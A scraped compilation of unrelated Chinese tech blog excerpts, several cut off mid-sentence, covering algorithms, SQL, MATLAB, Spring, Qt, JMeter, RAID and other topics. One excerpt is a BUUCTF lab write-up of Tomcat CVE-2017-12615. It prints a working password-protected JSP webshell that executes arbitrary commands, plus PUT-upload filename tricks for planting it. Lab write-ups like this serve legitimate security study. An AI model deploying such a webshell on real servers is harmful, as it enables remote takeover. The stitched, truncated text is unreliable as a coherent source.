全排列 一般的情况都是给出n个数,求出其不同顺序的排列方式; 全排列的实现 1.字典序法 根据全排列的公式,f(n)=n!不难推断出可以用DFS来求其所有不同的排列顺序;这种方法得出的顺序符号字典序排列。 这是它的生成树 代码实现 void DFS(int x){ if(x>=n){ for(int i=0;i<n;i++){ cout<<" "<<num[i]; } cout<<endl; return; } for(int i=1;i<=n;i++){ if(!vis[i]){ vis[i]=1; num[x]=i; DFS(x+1); vis[i]=0; } } } 2.递归求法 全排列的核心思想就是交换,即全排列是从第一个元素开始,每个元素都和它后面的元素进行位置的互换从而得到。; #include<bits/stdc++.h> using namespace std; /* 思路: 1 2 3 */ int n; int num[100]; int ans; void swap(int a,int b){ int temp=num[a]; num[a]=num[b]; num[b]=temp; } void fullpermutation(int k){ if(k==n){ ans+=1; for(int i=1;i<=n;i++) cout<<num[i]<<" "; cout<<endl; return; } for(int i=k;i<=n;i++){ swap(i,k); fullpermutation(k+1); swap(i,k); } } int main(){ cin>>n; for(int i=1;i<=n;i++)num[i]=i; fullpermutation(1); cout<<ans<<endl; return 0; } 全排列的去重 上述解法是在序列中的数不重复的情况下才能使用;对于序列元素不唯一的情况,则应用以下解法;

mysql数据库sql练习总结 第二天 (查询各科成绩前两名的记录、查询平均成绩大于60分的学生的学号和平均成绩等等)

😁 作者:Teddy (公众号:鸡仓故事汇) ⏰ 时间:2021年03月18日14:57:52 ☁️ 天气:晴天 文章目录 汇总分析二(查询结构排序,分组的指定条件)1.查询学生的总成绩并进行排名(简易)2.查询平均成绩大于60分的学生的学号和平均成绩(简易)3.查询所有课程成绩小于60分学生的学号、姓名(中等)4.查询没有学全所有课的学生的学号、姓名(中等)5.查询出只选修了两门课程的全部学生的学号和姓名(中等)6.1990年出生的学生名单(简易)7.查询各科成绩前两名的记录(困难)8.查询各学生的年龄(精确到月份)9.查询本月过生日的学生(简易) 汇总分析二(查询结构排序,分组的指定条件) 1.查询学生的总成绩并进行排名 2.查询平均成绩大于60分的学生的学号和平均成绩 3.查询所有课程成绩小于60分学生的学号、姓名 4.查询没有学全所有课的学生的学号、姓名 5.查询出只选修了两门课程的全部学生的学号和姓名 6.1990年出生的学生名单 7.查询各科成绩前两名的记录 8.查询各学生的年龄(精确到月份) 9.查询本月过生日的学生 1.查询学生的总成绩并进行排名(简易) # 【考察知识点】分组查询 select sum(achievement) achNum from score group by sid order by achNum; 2.查询平均成绩大于60分的学生的学号和平均成绩(简易) # 【考察知识点】分组+条件 select sid, avg(achievement) avg from score group by sid having avg > 60; 3.查询所有课程成绩小于60分学生的学号、姓名(中等) # 【考察知识点】子查询 select s.id, s.name from score sc left join student s on sc.sid = s.id where sc.achievement < 60; 或 select id, name from student where id in (select sid from score where achievement < 60); 4.

决策树信息增益|信息增益比率|基尼指数实例

今天以周志华老师的西瓜为例,复盘一下三种决策树算法。 文章目录 信息增益(ID3算法)信息增益比率(C4.5算法)基尼指数(CART算法) 数据: 信息增益(ID3算法) 信息熵表示信息的混乱程度,熵越大数据越混乱。分类的目的是为了使同一类别的数据尽可能“纯净”,因此追求尽量小的信息熵。 信息增益表示分类前后信息熵的差值。分类前信息熵是定值,分类后信息熵越小,信息增益越大。因此我们追求尽量大的信息增益值。 entropy(D)表示未分类时数据D的信息熵: e n t r o p y ( D ) = − ∑ i = 1 k p ( c i ) l o g 2 p ( c i ) entropy(D)=-\sum_{i=1}^k p(c_i)log_2p(c_i) entropy(D)=−i=1∑k​p(ci​)log2​p(ci​) 其中, c i c_i ci​表示样本的分类变量取i的概率。 entropy(D,A)表示按照属性A分类后数据D的信息熵: e n t r o p y ( D , A ) = ∑ i = 1 m ∣ D i ∣ ∣ D ∣ e n t r o p y ( D i ) entropy(D,A)=\sum_{i=1}^m\frac{|D_i|}{|D|}entropy(D_i) entropy(D,A)=i=1∑m​∣D∣∣Di​∣​entropy(Di​)

Spring boot 过滤器实现防XSS攻击

文章目录 背景参考资料上代码过滤器配置可配置不过滤地址主要过滤器代码xss具体过滤规则注意扫描该包(或者加starter也行)关于富文本框 gitee代码仓库 背景 框架中添加xss攻击过滤器类,防止脚本攻击,能够做到引入包即可使用。 参考资料 这里主要参考renren-fast官方提供的开源项目的xss攻击进行改造。 参考io/renren/common/xss包下面类 三方包 hutool-http,参考博客api里面提供了xss所需的标签替换等功能 上代码 过滤器配置 /** * Filter配置 * * @author lirui */ @Configuration public class FilterConfig { /** * 注册过滤器 * * @param url 提供可不拦截接口 * 实现配置不过滤部分接口,部分接口需要不做过滤 * @return */ @Bean public FilterRegistrationBean xssFilterRegistration(XssIgnoreFilterUrl url) { FilterRegistrationBean registration = getFilterRegistrationBean(url); return registration; } private FilterRegistrationBean getFilterRegistrationBean(XssIgnoreFilterUrl url) { FilterRegistrationBean registration = new FilterRegistrationBean(); //指定发起请求时过滤 registration.setDispatcherTypes(DispatcherType.REQUEST); registration.setFilter(new XssFilter(Objects.isNull(url) ? null : url.getUrls())); //默认所有接口 registration.

elementui el-table去除鼠标触摸变色效果

使用表格有时不会使用默认背景色,调完样式发现鼠标触摸之后颜色很丑,遂想取消掉。 代码: //scss .el-table ::v-deep tbody tr:hover > td background-color: transparent

matlab中select,[转载]MATLAB阈值获取函数ddencmp、thselect、wbmpen和w

crit(t) wdcbm的调用格式有以下两种: (1)[THR,NKEEP]=wdcbm(C,L,ALPHA); (2)[THR,NKEEP]=wdcbm(C,L,ALPHA,M); 函数wdcbm是使用Birge-Massart算法获取一维小波变换的阈值。返回值THR是与尺度无关的阈值,NKEEP是系数的个数。[C,L]是要进行压缩或消噪的信号在j=length(L)-2层的分解结构;LAPHA和M必须是大于1的实数;THR是关于j的向量,THR(i)是第i层的阈值;NKEEP也是关于j的向量,NKEEP(i)是第i层的系数个数。一般压缩时ALPHA取1.5,去噪时ALPHA取3. 2.信号的阈值去噪 MATLAB中实现信号的阈值去噪的函数有wden、wdencmp、wthresh、wthcoef、wpthcoef以及wpdencmp。下面对它们的用法作简单的介绍。 函数wden的调用格式有以下两种: (1)[XD,CXD,LXD]=wden(X,TPTR,SORH,SCAL,N,'wname') (2)[XD,CXD,LXD]=wden(C,L,TPTR,SORH,SCAL,N,'wname') 函数wden用于一维信号的自动消噪。X为原始信号,[C,L]为信号的小波分解,N为小波分解的层数。 THR为阈值选择规则: *TPTR='rigrsure',自适应阈值选择使用Stein的无偏风险估计原理。 *TPTR='heursure',使用启发式阈值选择。 *TPTR='sqtwolog',阈值等于sqrt(2*log(length(X))). *TPTR='minimaxi',用极大极小原理选择阈值。 SORH是软阈值或硬阈值的选择(分别对应's'和'h')。 SCAL指所使用的阈值是否需要重新调整,包含下面三种: *SCAL='one' 不调整; *SCAL='sln' 根据第一层的系数进行噪声层的估计来调整阈值。 *SCAL='mln' 根据不同的噪声估计来调整阈值。 XD为消噪后的信号,[CXD,LXD]为消噪后信号的小波分解结构。格式(1)返回对信号X经过N层分解后的小波系数进行阈值处理后的消噪信号XD和信号XD的小波分解结构[CXD,LXD]。格式(2)返回参数与格式(1)相同,但其结构是由直接对信号的小波分解结构[C,L]进行阈值处理得到的。 函数wdencmp的调用格式有以下三种: (1)[XC,CXC,LXC,PERF0,PERFL2]=wdencmp('gbl',X,'wname',N,THTR,SORH,KEEPAPP); (2)[XC,CXC,LXC,PERF0,PERFL2]=wdencmp('lvd',X,'wname',N,THTR,SORH); (3)[XC,CXC,LXC,PERF0,PERFL2]=wdencmp('lvd',C,L,'wname',N,THTR,SORH); 函数wdencmp用于一维或二维信号的消噪或压缩。wname是所用的小波函数,gbl(global的缩写)表示每一层都采用同一个阈值进行处理,lvd表示每层采用不同的阈值进行处理,N表示小波分解的层数,THR为阈值向量,对于格式(2)和(3)每层都要求有一个阈值,因此阈值向量THR的长度为N,SORH表示选择软阈值或硬阈值(分别取值为's'和'h'),参数KEEPAPP取值为1时,则低频系数不进行阈值量化,反之,低频系数要进行阈值量化。XC是要进行消噪或压缩的信号,[CXC,LXC]是XC的小波分解结构,PERF0和PERFL2是恢复或压缩L^2的范数百分比。如果[C,L]是X的小波分解结构,则PERFL2=100*(CXC向量的范数/C向量的范数)^2;如果X是一维信号,小波wname是一个正交小波,则PERFL2=100||XC||^2/||X||^2。 函数wthresh的调用格式如下: Y=wthresh(X,SORH,T) Y=wthresh(X,SORH,T) 返回输入向量或矩阵X经过软阈值(如果SORH='s')或硬阈值(如果SORH='h')处理后的信号。T是阈值。 Y=wthresh(X,'s',T)返回的是Y=SIG(X)*(|X|-T)+,即把信号的绝对值与阈值进行比较,小于或等于阈值的点变为零,大于阈值的点为该点值与阈值的差值。 Y=wthresh(X,'h',T)返回的是Y=X*1(|X|>T),即把信号的绝对值和阈值进行比较,小于或等于阈值的点变为零,大于阈值的点保持不变。一般来说,用硬阈值处理后的信号比用软阈值处理后的信号更粗糙。 函数wthcoef的调用格式下面四种: (1)NC=wthcoef('d',C,L,N,P) (2)NC=wthcoef('d',C,L,N) (3)NC=wthcoef('a',C,L) (4)NC=wthcoef('t',C,L,N,T,SORH) 函数wthcoef用于一维信号小波系数的阈值处理。 格式(1)返回小波分解结构[C,L]经向量N和P定义的压缩率处理后的新的小波分解向量NC,[NC,L]构成一个新的小波分解结构。N包含被压缩的细节向量,P是把较小系数置0的百分比信息的向量。N和P的长度必须相同,向量N必须满足1<=N(i)<=length(L)-2。 格式(2)返回小波分解结构[C,L]经过向量N中指定的细节系数置0后的小波分解向量NC。 格式(3)返回小波分解结构[C,L]经过近似系数置0后的小波分解向量NC。 格式(4)返回小波分解结构[C,L]经过将向量N作阈值处理后的小波分解向量NC。如果SORH=’s‘,则为软阈值;如果SORH='h'则为硬阈值。N包含细节的尺度向量,T是N相对应的阈值向量。N和T的长度必须相等。 函数wpdencmp的调用格式有以下两种: (1)[XD,TREED,PERF0,PERFL2]=wpdencmp(X,SORH,N,'wname',CRIT,PAR,KEEPAPP) (2)[XD,TREED,PERF0,PERFL2]=wpdencmp(TREE,SORH,CRIT,PAR,KEEPAPP) 函数wpdencmp用于使用小波包变换进行信号的压缩或去噪。 格式(1)返回输入信号X(一维或二维)的去噪或压缩后的信号XD。输出参数TREED是XD的最佳小波包分解树;PERFL2和PERF0是恢复和压缩L2的能量百分比。PERFL2=100*(X的小波包系数范数/X的小波包系数)^2;如果X是一维信号,小波wname是一个正交小波,则PERFL2=100*||XD||^2/||X||^2。SORH的取值为's'或'h',表示的是软阈值或硬阈值。 输入参数N是小波包的分解层数,wname是包含小波名的字符串。函数使用由字符串CRIT定义的熵和阈值参数PAR实现最佳分解。如果KEEPAPP=1,则近似信号的小波系数不进行阈值量化;否则,进行阈值量化。 格式(2)与格式(1)的输出参数相同,输入选项也相同,只是它从信号的小波包分解树TREE进行去噪或压缩。

音乐直链php,【原创】百度音乐直链 + 实现方法

前几天发了一篇QQ音乐直链的帖子:http://www.52pojie.cn/thread-419942-1-1.html 今晚利用空闲时间,折腾了一个百度音乐直链分析工具,也是网页在线的, 大家可以先看一下:http://dwz.cn/1WQoqW ---------------------------------------------蛋疼的分割线--------------------------------------------- 论坛里面有人提供音乐接口: ①:http://music.baidu.com/data/music/fmlink?songIds={$SongId}&type={$SongType} ②:http://music.baidu.com/data/music/fmlink?songIds={$SongId}&type={$SongType}&rate={$Rate} 我测试了一下,可行,只不过现在修改了,跳转结果是 http://music.baidu.com/data/music/links?songIds=歌曲ID 至于上面的type和rate可忽略了。 百度音乐的ID就是点击一首歌曲的网址,不是播放音乐的音乐盒网址,例如: http://music.baidu.com/song/134294423 QQ截图20151009224317.jpg (52.74 KB, 下载次数: 8) 2015-10-9 22:40 上传 复制上面网址中的那串数字,我随便看了一下,音乐ID从6位数到10位数都有,这个等下再说。 拼接网址和ID,结果如下: http://music.baidu.com/data/music/links?songIds=134294423 直接粘贴浏览器地址栏,回车访问,得到以下结果: {"errorCode":22000,"data":{"xcode":"0fa193606a6cf0e18156ebcf093b7cc0","songList":[{"queryId":"134294423","songId":134294423,"songName":"\u82b1\u4e3a\u5a92","artistId":"5976","artistName":"\u7396\u6708\u5947\u8ff9","albumId":134294430,"albumName":"\u82b1\u4e3a\u5a92","songPicSmall":"http:\/\/c.hiphotos.baidu.com\/ting\/pic\/item\/50da81cb39dbb6fd04ad51040d24ab18972b3719.jpg","songPicBig":"http:\/\/b.hiphotos.baidu.com\/ting\/pic\/item\/dbb44aed2e738bd43fb60613a58b87d6277ff979.jpg","songPicRadio":"http:\/\/b.hiphotos.baidu.com\/ting\/pic\/item\/18d8bc3eb13533faa840270cacd3fd1f41345b19.jpg","lrcLink":"\/data2\/lrc\/134331079\/134331079.lrc","version":"","copyType":0,"time":208,"linkCode":22000,"songLink":"http:\/\/yinyueshiting.baidu.com\/data2\/music\/134294564\/1342944231444312861128.mp3?xcode=0fa193606a6cf0e123407a79428c3f0f","showLink":"http:\/\/yinyueshiting.baidu.com\/data2\/music\/134294564\/1342944231444312861128.mp3?xcode=0fa193606a6cf0e123407a79428c3f0f","format":"mp3","rate":128,"size":3342029,"relateStatus":"0","resourceType":"0","source":"web"}]}} 这个就是返回结果,JSON格式,仔细看一下,里面有songLink后面的网址就是MP3链接,songPicBig是音乐封面的图片链接,只不过多了一些斜杠等等。 有了上面的数据,就可以使用编程语言封装了,本人使用的ASP.NET做演示。 我知道论坛很多人都会易语言,可是我不会,没有系统的学过,这里仅供思路参考。 ---------------------------------------------蛋疼的分割线--------------------------------------------- /*** 思路: 1、读取音乐网址里面的音乐ID 2、拼接网址和ID并且访问 3、解析&输出结果 ***/ 这个界面我就不说了,从按钮事件开始 QQ截图20151009224855.jpg (10.06 KB, 下载次数: 7) 2015-10-9 22:47 上传 [C#] 纯文本查看 复制代码//获取音乐直链地址 protected void btnGo_Click(object sender, EventArgs e) { string mid = "";//定义存放音乐ID的变量 //这里使用正则表达式,匹配输入网址里面的音乐ID,也就是一串数字,使用\d+可以匹配连续的多个数字,符合我们的要求 ArrayList alist = new HttpHelper().PiPeiText(this.txtMusicUrl.Text.Trim(), "\\d+"); //判断是否有返回结果 if (alist.Count > 0)

buuctf [Tomcat]CVE-2017-12615

漏洞简介 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。 漏洞分析:https://xz.aliyun.com/t/5610 ,https://paper.seebug.org/399/ 复现过程 姿势一: 我们知道Servlet在识别1.jsp /时会把它当作非jsp文件交给DefaultServlet来处理,而后续保存文件的时候,文件名不接受/字符,故而忽略掉 传一个webshel​​l <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%> /shell.jsp?cmd=whoami&pwd=023 命令执行 env打印环境变量 姿势二: 利用文件解析漏洞采用PUT方式上传jsp webshell文件。其中文件名设为/shell.jsp%20 ,如果文件名后缀是空格那么将会被tomcat给过滤掉。 姿势三: 在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

Qt QHostInfo详解

1.QHostInfo 主要用来查询主机信息,包括主机名,ip地址,DNS域名等信息。 以下常用静态方法 QHostInfo::localHostName():获取本机的主机名。QHostInfo::fromName(QString &name):通过主机名获取IP地址。QHostInfo::lookupHost():可以通过一个主机名,以异步方式查找这个主机的IP地址。QHostInfo::localDomainName():返回本机DNS域名。 以下常用方法 QString hostName():返回通过IP查找的主机的名称。int lookupId():返回本次查找的IDQString errorString():返回主机查找失败,返回错误描述的字符串。 2.示例 获取本机的主机信息和获取百度域名信息 //.h #ifndef WIDGET_H #define WIDGET_H #include <QWidget> #include <QHostInfo> namespace Ui { class Widget; } class Widget : public QWidget { Q_OBJECT public: explicit Widget(QWidget *parent = 0); ~Widget(); QString protocolName(QAbstractSocket::NetworkLayerProtocol protocol); private slots: void on_btnGetHostInfo_clicked(); void on_btnGetIp_clicked(); void on_btnClear_clicked(); void on_lookUpHostInfo(const QHostInfo&); private: Ui::Widget *ui; }; #endif // WIDGET_H //.cpp #include "widget.h" #include "ui_widget.h" Widget::Widget(QWidget *parent) : QWidget(parent), ui(new Ui::Widget) { ui->setupUi(this); } Widget::~Widget() { delete ui; } QString Widget::protocolName(QAbstractSocket::NetworkLayerProtocol protocol) { switch (protocol) { case QAbstractSocket::IPv4Protocol: return "

2021-03-18

1.编写程序,计算序列 1 + 1/2 + 1/3 + … 的前N项之和 #include <stdio.h> #include <math.h> int main() { double sum=0; int N,i=1; scanf("%d",&N); for(i=1;i<=N;i++) { sum = sum + 1.0/i; } printf("sum = %.6f",sum); return 0; } 2.编写程序,计算序列 1 + 1/3 + 1/5 + … 的前N项之和 #include <stdio.h> #include <math.h> int main() { int N,i=1; double sum=0; scanf("%d",&N); for(i=1;i<=2*N;i=i+2) { sum = sum + 1.0/i; } printf("sum = %.6f",sum); return 0; } 3.

IDEA连接数据库及一些基本操作

使用IDEA连接数据库 首先要确保MySQL的服务是开启的,如果没有开启,可以在命令行开启MySQL的服务,命令如下所示: net start mysql 打开IDEA,然后点击右侧边栏的Database 会出现下面所示的内容: 点击"+"号,找到“Data Source”选项,光标移动到这个选项的时候,会展开一系列的数据库选项,找到我们要连接的"My SQL"选项,会出现一个填写配置连接数据库的页面,按照要求填写主机地址、端口号、用户名、密码等等 如果事前没有配置连接MySQL的驱动程序,现在要把MySql的驱动配置一下,在这个页面的左侧会看到"Drivers"这一栏目,这里都是要配置的数据库驱动的类型,现在找到MySQL,点击进入相应的配置页面 先在Class这里,将其设置为 “com.mysql.jdbc.Driver” 在 "Driver files"里设置驱动程序,可以点击右边的 “+”,然后有两个选项:“Custom JARs” 和 “Provided Driver”。如果你自己下载好了,相应的数据库驱动,可以选择Custom JARs然后从相应的路径里选择,;如果没有,则可以直接从Provided Driver里面选择相应的数据库驱动,选好版本也可以。然后点击 apply即可。 如果报Server returns invalid timezone. Need to set ‘serverTimezone‘ property. 一:点开最右侧 Advanced,找到 serverTimezone,在右侧value处填写 GMT,保存即可!(或填写 Asia/Shanghai) 二:解决方法,后面添加 ?serverTimezone=GMT GMT(Greenwich Mean Time):格林威治标准时间 UTC:世界标准时间 CST(China Standard Time):中国标准时间 GMT + 8 = UTC + 8 = CST 最后点击ok,即可连接成功。 连接后选择数据库 查看数据库的内容 双击数据库,或里面的表 修改表的内容 写SQL语句的地方

jmeter获取系统偏离时间

方法1:jmeter time函数处理 1.使用背景 在做接口测试的时候,需要获取时间戳函数,常用的是获取当前时间的时间戳。但有时候为了达到某种预期效果,会需要用未来时间,此时我们就需要在系统时间上进行增加操作。 2.操作步骤 当前时间很容易获取 时间戳表达(精确到毫秒) 当前时间:${__time(,)} 当前时间:${__timeShift(,,,,)} 在当前时间上增加一天:${__timeShift(,,P1d,,)} 在当前时间上增加一小时:${__timeShift(,,PT1H,,)} 在当前时间上增加十分钟:${__timeShift(,,PT10m,,)} 在当前时间上增加二十秒:${__timeShift(,,PT20s,,)} 在当前时间上增加一天小时十分二十秒:${__timeShift(,,P1dT1H10m20s,,)} 明文表达(精确到毫秒) 当前年月日时分秒:${__timeShift(yyyy-MM-dd HH:mm:ss:SSS,,,,)} 当前年月日时分秒:${__timeShift(yyyy-MM-dd HH:mm:ss:SSS,,P5H,,)} 在当前时间上增加一天:${__timeShift(yyyy-MM-dd HH:mm:ss:SSS,,P1d,,)} 在当前时间上增加一小时:${__timeShift(yyyy-MM-dd HH:mm:ss:SSS,,PT1H,,)} 在当前时间上增加十分钟:${__timeShift(yyyy-MM-dd HH:mm:ss:SSS,,PT10m,,)} 在当前时间上增加二十秒:${__timeShift(yyyy-MM-dd HH:mm:ss:SSS,,PT20S,,)} 在当前时间上增加一天一小时十分二十秒:${__timeShift(yyyy-MM-dd HH:mm:ss:SSS,,P1dT1H10m20s,,)} 不带横杠的明文(精确到毫秒) ${__time(YMDHMS,)} ${__time(YYYYMMDHMS,)} 关于减少(1 时=3600000毫秒,需要多长时间自己百度换算) 在当前时间上减少一小时:${__longSum(${__time},-3600000,)} 最后,我们用BeanShell 取样器查看一下 方法2:beasn shell中写代码获取 import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; try{ Date date =new Date(); //获取当前时间 SimpleDateFormat sf = new SimpleDateFormat("yyyy-MM-dd"); String nowDate = sf.format(date); Calendar cal = Calendar.getInstance(); cal.setTime(sf.parse(nowDate)); cal.add(Calendar.DAY_OF_YEAR,+1); //后一天 String orderDate = sf.

idea前后跳转箭头的快捷键

这篇文章主要介绍了idea前后跳转箭头的快捷键,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧。 idea的前后跳转箭头没有像eclipse一样显示在导航栏,很多时候找不到,记住快捷键: ctrl+alt+ 向左箭头或者向右箭头即可跳转。 补充:idea去掉编辑区中的箭头(占位符) 描述: idea去掉编辑区中箭头符号,如图下图所示:把红框中的箭头去掉,显示出来看着有些难受: 操作步骤: file→editor→general→appearance,把show whitespaces的勾去掉即可 。 如下图所示: idea去掉编辑区中的箭头(占位符) 以上为个人经验,希望能给大家一个参考,也希望大家多多支持。如有错误或未考虑完全的地方,望不吝赐教。

RAID磁盘阵列学习笔记

博文中不扯高大上专业词汇,只写本人白话理解...... 首先,提一下RAID定义,至少得知道它的全名叫啥,哈哈~ 独立硬盘冗余阵列(RAID, Redundant Array of Independent Disks),旧称廉价磁盘冗余阵列(Redundant Array of Inexpensive Disks),简称磁盘阵列。 RAID技术作为一种数据保护手段,被广泛应用于企业数据安全领域。 标准RAID等级主要有7个:RAID0、RAID1、RAID2、RAID3、RAID4、RAID5、RAID6(虽然看着名字很像,但是每种等级机理可是相去甚远...) 此外还有一些组合实现方式:RAID01(即RAID0+RAID1混合部署)、RAID100(道理跟前面一样)等等若干种。 一、RAID0 简单理解,RAID0实质上不提供任何形式的数据冗余,只是将数据条带化后分开存储至不同的磁盘,不同磁盘存储的数据可以同时并发I/O读写。说白了,就是把数据分片后存在多个磁盘中,读的时候从这多个磁盘中同时可以读出存储的数据,速率大大提升。因此RAID0提升了读写效率,对带宽利用率高,其最终速率会受带宽影响。理论上讲:如果有n块磁盘,RAID0后的数据读写效率可以提升n倍。 二、RAID1 RAID1其实就是镜像,每当有一份数据产生时,就会同时在镜像磁盘生成一个完全一样的备份数据,当磁盘损坏时,系统就可以利用镜像盘里的数据进行恢复,所以实质上RAID1的空间利用率为50%。也就是说两块300GB的硬盘做完RAID1后,其存储空间就剩不到300GB了。 三、RAID2 RAID2 称为纠错汉明码磁盘阵列,汉明码校验是指在原始数据中特定的位置插入校验位,进行数据校验和纠错,汉明码校验位为2n,即数据的第1,2,4,8...位为校验位,其余位为数据位。在RAID2中数据是按位存储的,每块磁盘存储一位数据,数据宽度用户可自行设定。 海明码自身具备纠错能力,因此 RAID2 可以在数据发生错误的情况下对纠正错误,保证数据的安全性。它的数据传输性能相当高,设计复杂性要低于后面介绍的 RAID3 、 RAID4 和 RAID5 。 但是,海明码的数据冗余开销太大,而且 RAID2 的数据输出性能受阵列中最慢磁盘驱动器的限制。再者,海明码是按位运算, RAID2 数据重建非常耗时。由于这些显著的缺陷,再加上大部分磁盘驱动器本身都具备了纠错功能,因此 RAID2 在实际中很少应用,没有形成商业产品,目前主流存储磁盘阵列均不提供 RAID2 支持。 四、RAID3 RAID3是使用专用校验盘的并行访问阵列,即有1块磁盘作为校验盘,其余磁盘为数据盘。存储时是将数据按位交叉存储至数据盘中,同时生成计算校验位数据存在校验盘,可实现数据并读,容错性和读效率高。当某块磁盘数据损坏时,可借助校验盘数据和其他盘数据进行恢复。 五、RAID4 RAID4和RAID3比较相同,只不过RAID4是数据以块为单位进行存储,保证了数据块的完整性。(这个不常用) 六、RAID5 RAID5是目前应用最为广泛的RAID等级,是将数据和校验数据条带化后分散存储在每块磁盘上,就是说,每块磁盘上都存储有数据和校验数据,当某块磁盘发生错误时,可根据其他盘的数据和校验数据进行恢复。 七、RAID6 RAID6算是RAID5的一种扩展,引入了双重校验,可支持当两块磁盘发生损坏时数据恢复。RAID6不仅支持数据恢复,还支持校验数据恢复,但是代价较大。 以上仅作学习记录,会不断完善......

vmware convert P2V 错误二三事

没事想将笔记本上安装的linux迁移到esxi server上,结果出现如下二个故障,记录一下,以后备用 A.%1 错误 1.ESXi Vcenter Converter复刻失败问题 报错信息为Network error. Host x.x.x.x key can‘t be retrieved 原因: 在这个节点,esxi系统上已经生成目标虚拟机,此时目标虚拟机需要ssh到源物理机上去拷贝数据。 解决: 重点来了,在生成目标机时IP地址及dns是自动配置的,由于源主机有多个网卡导致目标机分配的地址很可能不是同一个网络对应的地址,这里需要在目标机生成前手动配置网卡及ip地址 B.97%错误 2.FAILED: An error occurred during the conversion: 'GrubInstaller::InstallGrub: /usr/lib/vmware-converter/installGrub.sh failed with return code: 127, and message: FATAL: kernel too old Error running vmware-updateGrub.sh through chroot into /mnt/p2v-src-root Command: chroot “/mnt/p2v-src-root” /vmware-updateGrub.sh “GRUB2” “(hd0)” “(hd0,1)” /vmware-device.map "grub2-install" 原因: 缺少 GUID 分区表 (GPT) 所需的 BIOS 引导分区,则会出现此问题。 出现此问题是因为 Converter 无法在目标助手虚拟机上创建 BIOS 引导分区。

php数组中增加key元素,php如何替换数组的key

php替换数组的key的方法:可以利用array_combine()函数来进行替换,如【array_combine($key_name,$arr_old);】。该函数可以合并两个数组,并将其中一个数组元素作为键名。 函数介绍: array_combine() 函数通过合并两个数组来创建一个新数组,其中的一个数组元素为键名,另一个数组的元素为键值。 (推荐教程:php视频教程) 注意: 键名数组和键值数组的元素个数必须相同! 代码实现:// 需要替换 key 的数组 $arr_old = array( '0' => array('id' => 1, 'name' => 'Carroll'), '1' => array('id' => 2, 'name' => 'Chrdai'), '3' => array('id' => 3, 'name' => 'xiaodai'), ); // 将新的key定义一个新数组 $key_name = array('key1','key2','key3'); // 现在开始替换 $arr_new = array_combine($key_name,$arr_old); var_dump($arr_new); /* array (size=3) 'key1' => array (size=2) 'id' => int 1 'name' => string 'Carroll' (length=7) 'key2' => array (size=2)

解决Could not autowire.No beans of ‘ ‘ type found

在注入类的时候,@Autowired可能会出现 类似于 此类问题 出现此情况有多种解决方法 文章目录 解决1:启动类位置解决方法 :将启动类或者要注入的类放到启动类的同级或子级包内 解决2:降低Bean的安全级别解决3:将@Autowired改为@Resource 解决1:启动类位置 可以查看本地启动类放置位置 启动类一般要放在最外层的根目录位置 这样才能扫到同级别以及子级的类 同上图,如果你的类放在gdcp包外,启动类是扫描不到的 解决方法 :将启动类或者要注入的类放到启动类的同级或子级包内 解决2:降低Bean的安全级别 此问题是建立在:程序能正常运行,但是依旧有红色波浪线报错,但是无影响单纯是看红色碍眼 降低安全级别后,恢复正常 此问题是Spring扫描问题,不造成太大影响 解决3:将@Autowired改为@Resource 两个注解的区别是一个是@Autowired是Spring,@Resource是J2EE的 使用@Resource能减少Spring耦合度 @AutoWried按by type自动注入,而@Resource默认按byName自动注入。 @Resource的查询注入顺序是,去Bean中查找Name,如果查不到就去查Class,其次再从属性去查找,如果我们定义的类中有相同的Name可能会报错,因为查询到了多个。